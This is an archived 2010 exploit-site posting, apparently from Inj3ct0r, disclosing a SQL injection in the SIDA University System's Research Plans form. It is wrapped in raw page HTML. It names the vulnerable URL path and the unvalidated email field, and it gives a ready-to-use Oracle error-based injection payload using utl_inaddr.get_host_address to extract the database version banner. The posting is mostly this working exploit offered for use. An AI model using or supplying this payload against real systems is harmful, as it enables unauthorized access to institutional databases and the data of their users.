SIDA University System SQL Injection Vulnerability
Posted on 01 July 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>SIDA University System SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================== SIDA University System SQL Injection Vulnerability ================================================== # Author: K053 <K053.dev0te3 at gmail> # Vendor : SIDA < http://91.98.156.224/ > # Version: All below 1389 are vulberable ==================================================================================== Note: Seems vendor patched this vulnerability in newest update [ 1389] so we decide to public it now. Maybe more in future ;) ==================================================================================== Detail: Application is vulnerable in several section. seems developer fixed most of them but until version 1389 Research Plans section is vulnerable. In Research Plans section there is form which there is no input validation in email field. ==================================================================================== POC: Application powered by Oracle DBMS. Submit this query in email field and let password field empty to get DBMs version. http://address/Portal/Research/ResearchPlan/UserStart.aspx 'or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))-- ==================================================================================== ~Blackout Frenzy [http://b0f.ir] # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
